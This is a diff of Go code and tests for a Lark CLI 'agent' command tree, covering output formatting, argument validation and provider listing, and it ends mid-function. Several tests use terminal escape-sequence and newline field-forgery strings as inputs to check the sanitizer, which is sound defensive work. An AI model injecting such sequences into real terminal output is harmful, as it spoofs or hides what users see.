func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
cmd := NewCmdAgentContextList(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{}); err == nil {
t.Error("context list missing ref should report an argument error (ExactArgs 1)")
}
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
t.Errorf("context list with a single ref should be valid: %v", err)
}
fl := cmd.Flags().Lookup("format")
if fl == nil || fl.DefValue != "json" {
t.Errorf("context list --format default should flip to json, got %+v", fl)
}
}
// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
// the added --format / --jq flags.
func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
cmd := NewCmdAgentContextGet(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
}
if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
t.Errorf("context get ref+ctx-id should be valid: %v", err)
}
for _, name := range []string{"format", "jq"} {
if cmd.Flags().Lookup(name) == nil {
t.Errorf("context get should have a --%s flag", name)
}
}
}
// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
cmd := NewCmdAgentContextDelete(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
}
if cmd.Flags().Lookup("yes") == nil {
t.Error("context delete should have a --yes flag")
}
for _, name := range []string{"format", "jq"} {
if cmd.Flags().Lookup(name) == nil {
t.Errorf("context delete should have a --%s flag", name)
}
}
}

200
cmd/agent/format.go Normal file
View File

@@ -0,0 +1,200 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// This file holds the --format surface shared by every agent leaf: value
// validation, the pretty renderers (task key:value view, list
// header-TSV views) with ANSI stripping for agent-controlled text, and the
// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
// validation error carrying a 用法 hint.
package agent
import (
"fmt"
"io"
"strings"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/validate"
)
// formatFlagHelp is the uniform --format help text across every agent leaf
// (json is the tree-wide default, pretty the human opt-in).
const formatFlagHelp = "output format: json (default) | pretty"
// validateFormat rejects any --format outside json|pretty as a
// validation/invalid_argument error (exit 2). The empty string is accepted for
// options structs built directly in tests; the registered flag default is
// "json" so a CLI invocation never passes "".
func validateFormat(format string) error {
switch format {
case "", "json", "pretty":
return nil
}
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"不支持的 --format 值 %q", format).
WithParam("--format").
WithHint("合法值: json | pretty")
}
// stripANSI sanitizes agent-controlled text before it is written raw to a
// terminal by a pretty renderer, preventing terminal escape-sequence injection.
// It delegates to validate.SanitizeForTerminal, which is a superset of the
// mandated CSI regex:
// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
// Unicode. JSON output paths must NOT use this — programmatic consumers get
// the raw data.
func stripANSI(s string) string {
return validate.SanitizeForTerminal(s)
}
// kvValue sanitizes an agent-controlled value for a single-line "key: value"
// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
// SanitizeForTerminal deliberately preserves those, so without this a value
// like "done\nstate: completed" would forge an adjacent field row. TSV
// renderers keep plain stripANSI under their documented no-escape exemption.
func kvValue(s string) string {
s = stripANSI(s)
s = strings.ReplaceAll(s, "\n", " ")
return strings.ReplaceAll(s, "\t", " ")
}
// truncateRunes caps s at max runes, appending an ellipsis when truncated.
func truncateRunes(s string, max int) string {
r := []rune(s)
if len(r) <= max {
return s
}
return string(r[:max]) + "…"
}
// firstTextOf returns the first text Part carried by the task's messages
// (the first text message), or "".
func firstTextOf(task *iagent.AgentTask) string {
for _, m := range task.Messages {
for _, p := range m.Parts {
if p.Type == "text" && p.Text != "" {
return p.Text
}
}
}
return ""
}
// printTaskPretty renders the task-class pretty view: line-per-field
// key: value with state / task_id / context_id / first text message truncated
// to 120 runes / artifacts count. Every agent-controlled string goes through
// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
// terminal sequences nor forge an adjacent field row.
func printTaskPretty(w io.Writer, task *iagent.AgentTask) {
if task == nil {
fmt.Fprintln(w, "(no task)")
return
}
fmt.Fprintf(w, "state: %s\n", kvValue(string(task.State)))
fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
if task.ContextID != "" {
fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
}
if text := firstTextOf(task); text != "" {
fmt.Fprintf(w, "text: %s\n", truncateRunes(kvValue(text), 120))
}
fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
}
// TSV renderers below intentionally do not escape tab/newline in cell values:
// a value containing them breaks the column layout. The agent's primary
// consumption surface is json; pretty is for human inspection only, so leaving
// them unescaped is acceptable.
// printTaskSummariesTSV renders the list-class pretty view for tasks: a header
// row naming the json fields, then one row per task. Summary is agent-controlled
// text, so it is ANSI-stripped AND newline/tab-flattened via kvValue — an
// unflattened tab/newline would otherwise break the column layout; the ids keep
// plain stripANSI under the TSV no-escape exemption.
func printTaskSummariesTSV(w io.Writer, tasks []iagent.TaskSummary) {
fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY\n")
for _, t := range tasks {
fmt.Fprintf(w, "%s\t%s\t%s\t%t\t%s\t%s\n",
stripANSI(t.TaskID), stripANSI(t.ContextID), stripANSI(string(t.State)), t.IsTerminal, stripANSI(t.UpdatedAt), kvValue(t.Summary))
}
}
// printContextsTSV renders the list-class pretty view for contexts. The Title is
// agent-controlled and ANSI-stripped; TaskCount / AwaitingInput are the
// conversation-layer rollup used to spot which session needs attention.
func printContextsTSV(w io.Writer, contexts []iagent.ContextSummary) {
fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tTASK_COUNT\tAWAITING_INPUT\n")
for _, c := range contexts {
fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%d\t%t\n",
stripANSI(c.ContextID), stripANSI(c.CreatedAt), stripANSI(c.UpdatedAt), stripANSI(c.Title), c.TaskCount, c.AwaitingInput)
}
}
// printContextDetailPretty renders `context get --format pretty` as a
// conversation overview: metadata + the task_count / awaiting_input rollup, and
// — when present — a one-line digest of the active task
// (state · updated_at · summary). It deliberately does NOT expand the full task
// list (that is `agent task list --context-id`). Agent-controlled strings (Title
// and the active-task Summary) go through kvValue so they cannot forge adjacent
// field rows.
func printContextDetailPretty(w io.Writer, detail *iagent.ContextDetail) {
if detail == nil {
fmt.Fprintln(w, "(no context)")
return
}
fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
if detail.CreatedAt != "" {
fmt.Fprintf(w, "created_at: %s\n", kvValue(detail.CreatedAt))
}
if detail.UpdatedAt != "" {
fmt.Fprintf(w, "updated_at: %s\n", kvValue(detail.UpdatedAt))
}
if detail.Title != "" {
fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
}
fmt.Fprintf(w, "task_count: %d\n", detail.TaskCount)
fmt.Fprintf(w, "awaiting_input: %t\n", detail.AwaitingInput)
if at := detail.ActiveTask; at != nil {
fmt.Fprintf(w, "active_task: %s · %s · %s\n", kvValue(string(at.State)), kvValue(at.UpdatedAt), kvValue(at.Summary))
}
}
// usageHintOf builds the "用法: <command path> <positional shape>" hint from
// the executing command's Use line, so the hint never drifts from the
// registered Use string.
func usageHintOf(cmd *cobra.Command) string {
if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
}
return "用法: " + cmd.CommandPath()
}
// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
// (exit 2) whose hint carries the full usage string — cobra's bare English
// "accepts 2 arg(s), received 1" never says WHAT is missing.
func exactArgsWithUsage(n int) cobra.PositionalArgs {
return func(cmd *cobra.Command, args []string) error {
if len(args) != n {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"需要 %d 个位置参数,收到 %d 个", n, len(args)).
WithHint("%s", usageHintOf(cmd))
}
return nil
}
}
// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
// exactArgsWithUsage, for leaves with an optional positional (agent list).
func maximumArgsWithUsage(n int) cobra.PositionalArgs {
return func(cmd *cobra.Command, args []string) error {
if len(args) > n {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"最多接受 %d 个位置参数,收到 %d 个", n, len(args)).
WithHint("%s", usageHintOf(cmd))
}
return nil
}
}

381
cmd/agent/format_test.go Normal file
View File

@@ -0,0 +1,381 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"bytes"
"encoding/json"
"errors"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/output"
)
// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
// only occurs when options structs are built directly in tests) pass.
func TestValidateFormat_Valid(t *testing.T) {
for _, f := range []string{"", "json", "pretty"} {
if err := validateFormat(f); err != nil {
t.Errorf("format %q should be valid: %v", f, err)
}
}
}
// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
// validation/invalid_argument error (exit 2) whose hint lists the legal values
// and whose param names the flag with the -- prefix.
func TestValidateFormat_Invalid(t *testing.T) {
err := validateFormat("yaml")
if err == nil {
t.Fatal("--format yaml should error (currently silently treated as json)")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
}
if !strings.Contains(p.Hint, "json | pretty") {
t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--format" {
t.Errorf("param should be --format, got %+v", verr)
}
}
// agentRootTree builds `lark-cli agent ...` as production wires it (root Use
// lark-cli), with a nil Factory: format validation must fire at the RunE
// entry, before any Factory access.
func agentRootTree() *cobra.Command {
root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
root.AddCommand(NewCmdAgent(nil))
return root
}
// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
// hint, uniformly, before any provider/Factory is touched.
func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
leaves := [][]string{
{"agent", "list", "--format", "yaml"},
{"agent", "card", "example:x", "--format", "yaml"},
{"agent", "send", "example:x", "--text", "hi", "--format", "yaml"},
{"agent", "task", "get", "example:x", "t1", "--format", "yaml"},
{"agent", "task", "list", "example:x", "--format", "yaml"},
{"agent", "task", "cancel", "example:x", "t1", "--format", "yaml"},
{"agent", "context", "list", "example:x", "--format", "yaml"},
{"agent", "context", "get", "example:x", "c1", "--format", "yaml"},
{"agent", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
}
for _, argv := range leaves {
t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
root := agentRootTree()
root.SetOut(&bytes.Buffer{})
root.SetErr(&bytes.Buffer{})
root.SetArgs(argv)
err := root.Execute()
if err == nil {
t.Fatalf("%v should report a --format validation error", argv)
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T: %v", err, err)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
}
p, ok := errs.ProblemOf(err)
if !ok || !strings.Contains(p.Hint, "json | pretty") {
t.Errorf("hint should contain json | pretty, got %+v", p)
}
})
}
}
// TestFormatHelpTextUniform pins the mandated uniform help text
// "output format: json (default) | pretty" across every leaf that has --format.
func TestFormatHelpTextUniform(t *testing.T) {
cmds := map[string]*cobra.Command{
"list": NewCmdAgentList(nil),
"card": NewCmdAgentCard(nil),
"send": NewCmdAgentSend(nil, nil),
"task get": NewCmdAgentTaskGet(nil),
"task list": NewCmdAgentTaskList(nil),
"task cancel": NewCmdAgentTaskCancel(nil),
"context list": NewCmdAgentContextList(nil),
"context get": NewCmdAgentContextGet(nil),
"context delete": NewCmdAgentContextDelete(nil),
}
for name, cmd := range cmds {
fl := cmd.Flags().Lookup("format")
if fl == nil {
t.Errorf("%s should have a --format flag", name)
continue
}
if fl.DefValue != "json" {
t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
}
if fl.Usage != "output format: json (default) | pretty" {
t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
}
}
}
// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
// all removed before agent text reaches a terminal.
func TestStripANSI(t *testing.T) {
for _, tt := range []struct{ in, want string }{
{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
{"a\x1bb", "ab"}, // bare ESC
{"t\x1b]0;evil\x07x", "tx"},
{"clean 文本", "clean 文本"},
} {
if got := stripANSI(tt.in); got != tt.want {
t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
}
}
}
// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
// key: value with state / task_id / context_id / first text message truncated
// to 120 runes / artifacts count — and the agent-controlled text stripped of
// ANSI escapes.
func TestPrintTaskPretty(t *testing.T) {
long := strings.Repeat("字", 130)
task := &iagent.AgentTask{
TaskID: "chat_1",
ContextID: "sess_1",
State: iagent.StateCompleted,
Messages: []iagent.Message{{
Role: "agent",
Parts: []iagent.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
}},
Artifacts: []iagent.Artifact{{ID: "a1"}, {ID: "a2"}},
}
out := &bytes.Buffer{}
printTaskPretty(out, task)
text := out.String()
for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
}
if strings.Contains(text, long) {
t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
}
if !strings.Contains(text, strings.Repeat("字", 120)) {
t.Errorf("body should keep the first 120 chars, got:\n%s", text)
}
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Errorf("pretty should not be a JSON envelope: %s", text)
}
}
// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
// fix: agent text containing newlines must not be able to fake an adjacent
// field row ("done\nstate: completed") — \n/\t in single-line values collapse
// to spaces, so exactly one state: line exists.
func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
task := &iagent.AgentTask{
TaskID: "chat_1",
State: iagent.StateFailed,
Messages: []iagent.Message{{
Role: "agent",
Parts: []iagent.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
}},
}
out := &bytes.Buffer{}
printTaskPretty(out, task)
var stateLines int
for _, line := range strings.Split(out.String(), "\n") {
if strings.HasPrefix(line, "state: ") {
stateLines++
}
}
if stateLines != 1 {
t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
}
if !strings.Contains(out.String(), "state: failed") {
t.Errorf("the real state line should remain, got:\n%s", out.String())
}
if !strings.Contains(out.String(), "text: done state: completed ok") {
t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
}
}
// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
// the context title row.
func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
out := &bytes.Buffer{}
printContextDetailPretty(out, &iagent.ContextDetail{
ContextID: "sess_1",
Title: "标题\ncontext_id: forged",
})
var idLines int
for _, line := range strings.Split(out.String(), "\n") {
if strings.HasPrefix(line, "context_id: ") {
idLines++
}
}
if idLines != 1 {
t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
}
}
// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
func TestPrintTaskPretty_NilTask(t *testing.T) {
out := &bytes.Buffer{}
printTaskPretty(out, nil)
if out.Len() == 0 {
t.Error("nil task should print a placeholder line")
}
}
// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
// naming the json fields (now including UPDATED_AT + SUMMARY), then one
// tab-separated row per task. Summary is agent-controlled, so it is
// ANSI-stripped AND newline/tab-flattened via kvValue.
func TestPrintTaskSummariesTSV(t *testing.T) {
out := &bytes.Buffer{}
printTaskSummariesTSV(out, []iagent.TaskSummary{
{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateCompleted, IsTerminal: true,
UpdatedAt: "2026-07-05T12:00:00Z", Summary: "分析\n完成\x1b[0m"},
})
lines := strings.Split(strings.TrimSpace(out.String()), "\n")
if len(lines) != 2 {
t.Fatalf("should have a header + 1 data row, got %q", out.String())
}
if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY" {
t.Errorf("header columns should match the json field names, got %q", lines[0])
}
// Summary: ANSI escape stripped, newline flattened to a space.
if lines[1] != "chat_1\tsess_1\tcompleted\ttrue\t2026-07-05T12:00:00Z\t分析 完成" {
t.Errorf("data row mismatch, got %q", lines[1])
}
}
// TestPrintContextsTSV pins the context-list pretty spec: header row (now
// carrying the UPDATED_AT / TASK_COUNT / AWAITING_INPUT rollup columns) plus
// rows, with the agent-controlled Title stripped of ANSI escapes.
func TestPrintContextsTSV(t *testing.T) {
out := &bytes.Buffer{}
printContextsTSV(out, []iagent.ContextSummary{
{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", UpdatedAt: "2026-07-05T12:00:00+08:00",
Title: "\x1b[2J销售分析", TaskCount: 3, AwaitingInput: true},
})
text := out.String()
if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tTASK_COUNT\tAWAITING_INPUT\n") {
t.Errorf("should have a header row with the rollup columns, got %q", text)
}
if !strings.Contains(text, "销售分析") {
t.Errorf("should contain the title text, got %q", text)
}
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in Title must be stripped: %q", text)
}
// The rollup columns (task_count + awaiting_input) trail the row.
if !strings.Contains(text, "\t3\ttrue") {
t.Errorf("should carry the task_count + awaiting_input rollup, got %q", text)
}
}
// TestPrintContextDetailPretty pins the context-get pretty rendering as a
// conversation overview: metadata + the task_count / awaiting_input rollup and
// a one-line active_task digest — NOT a full tasks[] list (that is `agent task
// list --context-id`). Title and the active-task Summary are agent-controlled,
// so both are ANSI-stripped + newline-flattened.
func TestPrintContextDetailPretty(t *testing.T) {
out := &bytes.Buffer{}
printContextDetailPretty(out, &iagent.ContextDetail{
ContextID: "sess_1",
CreatedAt: "2026-07-05T10:00:00+08:00",
UpdatedAt: "2026-07-05T12:00:00+08:00",
Title: "\x1b[31m分析\x1b[0m",
TaskCount: 2,
AwaitingInput: true,
ActiveTask: &iagent.TaskSummary{
TaskID: "chat_2", State: iagent.StateInputRequired,
UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供\n季度\x1b[0m",
},
})
text := out.String()
for _, want := range []string{
"context_id: sess_1", "updated_at: 2026-07-05T12:00:00+08:00", "title: 分析",
"task_count: 2", "awaiting_input: true", "active_task: input_required",
} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
// active-task Summary: newline flattened to a space.
if !strings.Contains(text, "请提供 季度") {
t.Errorf("active_task summary should be ANSI-stripped + newline-flattened, got:\n%s", text)
}
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences must be stripped: %q", text)
}
// The full task enumeration must NOT appear here anymore.
if strings.Contains(text, "tasks:") {
t.Errorf("context get should no longer render a tasks[] list, got:\n%s", text)
}
}
// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
// built from the real command path + Use shape, so the caller learns what is
// missing instead of cobra's bare "accepts 2 arg(s)".
func TestExactArgsUsageHint(t *testing.T) {
root := agentRootTree()
root.SetOut(&bytes.Buffer{})
root.SetErr(&bytes.Buffer{})
root.SetArgs([]string{"agent", "task", "get", "example:x"}) // missing task-id
err := root.Execute()
if err == nil {
t.Fatal("task get with a single argument should error")
}
if !errs.IsValidation(err) {
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
}
p, ok := errs.ProblemOf(err)
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent task get <agent_ref> <task-id>") {
t.Fatalf("hint should contain the usage string, got %+v", p)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
}
}
// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
// (`agent list [scheme]`).
func TestMaximumArgsUsageHint(t *testing.T) {
root := agentRootTree()
root.SetOut(&bytes.Buffer{})
root.SetErr(&bytes.Buffer{})
root.SetArgs([]string{"agent", "list", "example", "extra"})
err := root.Execute()
if err == nil {
t.Fatal("list with more than 1 positional argument should error")
}
if !errs.IsValidation(err) {
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
}
p, ok := errs.ProblemOf(err)
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent list [scheme]") {
t.Fatalf("hint should contain the usage string, got %+v", p)
}
}

207
cmd/agent/list.go Normal file
View File

@@ -0,0 +1,207 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"fmt"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// providerInfo describes a registered provider adapter in `agent list` output.
// Every field is sourced from the registered iagent.Provider (the single
// source of truth).
type providerInfo struct {
Scheme string `json:"scheme"`
Label string `json:"label"`
AgentRefFormat string `json:"agent_ref_format"`
Kind string `json:"kind"`
AgentIDSource string `json:"agent_id_source"`
}
// listOptions holds all inputs for `agent list [scheme]`.
type listOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Scheme string
Format string
As string
}
// NewCmdAgentList builds `agent list [scheme]`. Without an argument it
// enumerates the registered provider adapters with their metadata — a
// pure, API-free listing. With a scheme it performs second-level discovery:
// catalog providers enumerate offline from their static set; instance providers
// enumerate via their optional ListAgents hook (absent ⇒ unsupported_capability
// with the agent_id_source guidance). Risk=read.
func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
opts := &listOptions{Factory: f}
cmd := &cobra.Command{
Use: "list [scheme]",
Short: "List registered agent providers, or enumerate the agents under one provider",
Long: "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
Args: maximumArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
if len(args) == 1 {
opts.Scheme = args[0]
}
return agentListRun(opts)
},
}
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
// --as only matters for the online `list <scheme>` enumeration (an instance
// provider's ListAgents call); the no-scheme provider listing is offline and
// identity-independent, so it ignores --as.
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// agentListRun dispatches `agent list [scheme]`: with a scheme it lists that
// provider's agents (second-level discovery); without it renders the provider
// listing. JSON envelope is the default; `pretty` is the opt-in human view.
func agentListRun(opts *listOptions) error {
if opts.Scheme != "" {
return agentListSchemeRun(opts)
}
f := opts.Factory
providers := listProviders()
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
for _, p := range providers {
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
}
// agent_id_source is a full sentence — a TSV column would blow out the
// row width, so surface it as a per-provider footer instead. This is the
// single most important "where do I get an agent_id" cue for newcomers
// and must not vanish in the human-readable view.
fmt.Fprintln(f.IOStreams.Out)
for _, p := range providers {
fmt.Fprintf(f.IOStreams.Out, "agent_id 获取(%s: %s\n", p.Scheme, p.AgentIDSource)
}
return nil
}
env := output.Envelope{
OK: true,
Data: map[string]interface{}{"providers": providers},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// agentListSchemeRun runs `agent list <scheme>`: second-level enumeration for
// one provider. A catalog provider enumerates OFFLINE from its static set
// (prov.ListCatalog). An instance provider enumerates ONLINE via its optional
// ListAgents hook (needs a configured client); an instance provider without that
// hook is not enumerable and returns unsupported_capability + the AgentIDSource
// hint — surfaced before the client is built.
func agentListSchemeRun(opts *listOptions) error {
f := opts.Factory
prov, ok := iagent.Info(opts.Scheme)
if !ok {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 agent provider '%s',当前支持: %s",
opts.Scheme, iagent.KnownSchemes()).
WithHint("用 lark-cli agent list 查看可用 provider")
}
var agents []iagent.AgentSummary
var identity string // set only on the online (instance) path, which resolves one
if prov.Kind() == iagent.KindCatalog {
agents = prov.ListCatalog() // offline
} else {
// instance: needs the online ListAgents hook. Absent ⇒ not enumerable.
if prov.ListAgents == nil {
return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
"provider '%s' 暂不支持列举 agent", opts.Scheme).
WithHint("%s", prov.AgentIDSource)
}
// Enumeration is a real online call with no agent_id, so it runs the same
// two gates every ref-addressed online verb runs (via resolveSpec +
// preflightScopesForRef): the user|bot identity whitelist and the
// all-or-nothing scope preflight — keyed on the scheme since there is no ref.
// agentID is empty (enumeration is not scoped to a single agent).
id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, core.Identity(opts.As))
if err := f.CheckIdentity(id, supportedIdentities); err != nil {
return err
}
identity = string(id)
rt, err := runtimeFor(f, id, "")
if err != nil {
return err
}
if err := preflightScopesForScheme(f, id, opts.Scheme); err != nil {
return err
}
agents, err = prov.ListAgents(opts.Cmd.Context(), rt)
if err != nil {
return err
}
}
if agents == nil {
agents = []iagent.AgentSummary{} // always emit [] not null
}
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
// Name/Description are agent-controlled remote strings — ANSI-strip
// them before writing to the terminal.
fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
for _, a := range agents {
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
}
return nil
}
env := output.Envelope{
OK: true,
Identity: identity, // empty for the offline catalog path (omitempty)
Data: map[string]interface{}{"agents": agents},
Meta: &output.Meta{Count: len(agents)},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// listProviders builds the provider descriptors from the built-in registry so
// the listing stays in sync with whatever adapters are registered.
func listProviders() []providerInfo {
schemes := iagent.RegisteredSchemes()
out := make([]providerInfo, 0, len(schemes))
for _, s := range schemes {
// s comes from RegisteredSchemes, so Info always succeeds.
prov, _ := iagent.Info(s)
out = append(out, providerInfo{
Scheme: s,
Label: prov.Label,
AgentRefFormat: prov.AgentRefFormat(),
Kind: string(prov.Kind()),
AgentIDSource: prov.AgentIDSource,
})
}
return out
}

493
cmd/agent/list_test.go Normal file
View File

@@ -0,0 +1,493 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"bytes"
"context"
"encoding/json"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// listFactory returns a Factory writing to a fresh stdout buffer plus a
// listOptions bound to it, ready to drive agentListRun without any API.
func listFactory() (*listOptions, *bytes.Buffer) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
return &listOptions{Factory: f, Format: "json"}, out
}
// decodeProviders unmarshals the envelope on out and returns data.providers.
func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
t.Helper()
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
}
